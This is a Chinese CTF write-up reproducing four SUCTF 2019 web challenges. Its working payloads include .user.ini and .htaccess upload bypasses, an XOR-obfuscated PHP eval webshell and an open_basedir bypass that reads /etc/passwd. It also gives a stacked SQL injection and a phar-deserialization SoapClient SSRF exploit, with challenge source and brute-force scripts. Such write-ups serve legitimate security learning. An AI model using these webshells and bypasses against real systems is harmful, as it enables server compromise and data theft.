SUCTF-2019-Web-复现

SUCTF-2019-Web题目复现

CheckIn

首页就一个上传框,什么都没有

1

随意上传文件返回几个不同的报错信息

1
2
3
4
5
illegal suffix!

<? in contents!

exif_imagetype:not image!

查找发现类似的题目

Insomnihack 2019—–l33t-hoster

在那题发现有很多相似点,出现以下情况将报错

  • <?包含在文件内容中
  • 如果文件只有扩展名(像 .htaccess, .txt)
  • 文件不允许的扩展名
  • 无法经过exif_imagetype的检验
  • getimagesize不返回1337 * 1337

原题通过上传一个.htaccess,然后IMAGETYPE_XBM绕过exif_imagetype,从而绕过后缀解析进行getshell,但原题是apache环境,本题为nginx环境。

参考链接

user.ini文件构成的PHP后门

原理就是在nginx服务器上传一个.user.ini(这里作用相当于apache.htaccess,但其实更像php.ini,只要是以fastcgi运行的php都可以用这个方法)

1
2
auto_prepend_file=01.gif
//通过预加载01.gif的内容到当前所有php文件,类似于在文件前调用require函数,而auto_append_file是在文件后调用require函数

那么我们通过这种方法,结合前面的IMAGETYPE_XBM上传一个.user.ini

2

上传成功,接着继续上传01.gif包含到index.php

1
2
3
#define width 1337
#define height 1337
<script language="php">system("cat%20%2fflag")</script>

3

4

还是比较有意思的一题,关键点在于IMAGETYPE_XBM.user.ini的绕过。

贴上题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

CheckIn-WP 发现加个图片文件头也可以绕过 exif_image

1
2
GIF89a
<script language="php">system("cat /flag");</script>

easy_sql

摆出一个注入框,提交正确信息会返回一些数据,错误信息不返回数据

5

5

fuzz一下,发现可以通过;划分sql语句进行执行,

5

有点类似之前的堆叠注入: BUUCTF_Web_随便注,但是预加载被黑名单

8

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

发现拼接方式是 $sql = "select ".$post['query']."||flag from Flag";

那么就可以通过select *,1||flag from Flag进行查询。

8

也可以通过设置sql_mode改变||为拼接字符串,参考链接

mysql 修改sql_mode 实现字符串管道‘||’连接

构成payload

1
2
3
4
5
6
7
8
9
10
11
1;set sql_mode=pipes_as_concat;select 1

返回
Array
(
[0] => 1
)
Array
(
[0] => 1SUCTF{SUCTF_baby_sql_chall_120993n810h3}
)

easy_php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

首先第一步绕过

1
2
3
4
5
6
7
8
9
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

正则可以先部署在自己的靶机,然后写一个python脚本去爆破看看能用的字符有哪几个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$fuzzing_str_urldecode = array();
$fuzzing_str_urlencode = array();
for ($ascii = 0; $ascii < 256; $ascii++) {

if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
$fuzzing_str_urldecode[] = chr($ascii).' ';
$fuzzing_str_urlencode[] = urlencode(chr($ascii)).' ';
}
}
print_r(implode($fuzzing_str_urldecode) );
echo '<br>';
print_r(implode($fuzzing_str_urlencode));
?>
1
2
3
//可用字符
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } � � � � � �
%80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF
1
2
3
4
5
6
//fuzzing.php
<?php
$_ = $_GET['a'] ^ $_GET['b'];
if($_ == '_GET')
print_r('Success:'.urlencode($_GET['a']).' ^ '.urlencode($_GET['b']));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//爆破脚本
#!/usr/bin/env python
#encoding=utf-8

import requests
import itertools
import urllib
from bs4 import BeautifulSoup

def request_get(url,get_a,get_b):
url = url + '?a=%s&b=%s' % (get_a,get_b)
r = requests.get(url)
find_msg = BeautifulSoup(r.text, "html.parser")
str = "ERROR"
if str in find_msg:
#print (r.url)
re = 0
else:
print (r.url)
re = r.text

return re

def fuzz_get_a():
ascii = ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
result_a = list(map(lambda x:''.join(x), itertools.permutations(ascii, 4)))
return result_a


def fuzz_get_b():
ascii = ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
result_b = list(map(lambda x:''.join(x), itertools.permutations(ascii,4)))
return result_b

if __name__ == "__main__":
url = http://localhost/fuzzing.php
get_a = fuzz_get_a()
get_b = fuzz_get_b()
for k in range(1,200000000):
for t in range(1,200000000):
request_get(url,get_a[k],get_b[t])

爆破出可用参数如下

1
2
3
4
5
6
7
_GET:
%FA%FA%FA%FA ^ %A5%BD%BF%AE
%FB%FB%FB%FB ^ %A4%BC%BE%AF
%FE%FE%FE%FE ^ %A1%B9%BB%AA
%FF%FF%FF%FF ^ %A0%B8%BA%AB
_POST:
%A0%A0%A0%A0%A0^%FF%F0%EF%F3%F4

也可用如下脚本直接生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function gen($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");

参考链接

如何用php写一个不包含数字字母的后门

PHP不使用数字,字母和下划线写shell

一道题回顾php异或webshell

用异或方法绕过,payload如下

1
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

接着进到getflag函数,是一个文件上传,这里的思路是通过上传一个.htaccess,解析其他后缀执行命令。贴其他师傅的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .south\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")
1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://1b5ba627-2b03-4b29-9b69-663f3fc6451e.node1.buuoj.cn/"
payload = "?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':open("./.htaccess",'rb')}
r1 = requests.post(url+payload, files=files)
print(r1.text)
files = {'file':open("webshell.south",'rb')}
r2 = requests.post(url+payload, files=files)
print(r2.text)
print(requests.get(url+r2.text).text)

传上去后发现有open_basedir ,无法使用ls列目录,参考链接

bypass open_basedir的新方法

2019 0ctf final Web Writeup(1)

构造payload

1
2
3
4
5
6
查看/etc/passwd
webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));
列根目录
webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
查看/THis_Is_tHe_F14g
webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g");

10

11

upload-lab 2

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}

}

func.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include 'class.php';

if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include 'config.php';

class File{

public $file_name;
public $type;
public $func = "Check";

function __construct($file_name){
$this->file_name = $file_name;
}

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

function __toString(){
return $this->type;
}

}

class Check{

public $file_name;

function __construct($file_name){
$this->file_name = $file_name;
}

function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
include 'config.php';

class Ad{

public $ip;
public $port;

public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->ip = $ip;
$this->port = $port;

$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){

$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class File{

public $file_name;
public $type;
public $func = "SoapClient";

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function __construct(){
$target = 'http://127.0.0.1/admin.php';
$post_string = 'admin=&ip=x&port=x&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=';

$this->file_name = [null,array("location" => $target,"user_agent"=>"exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "http://127.0.0.1/")];

}

}

@file_put_contents("test.txt","test");
$exp=new File();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
rename("phar.phar","phar.png");
@unlink("test.txt");
-------------本文结束 感谢阅读-------------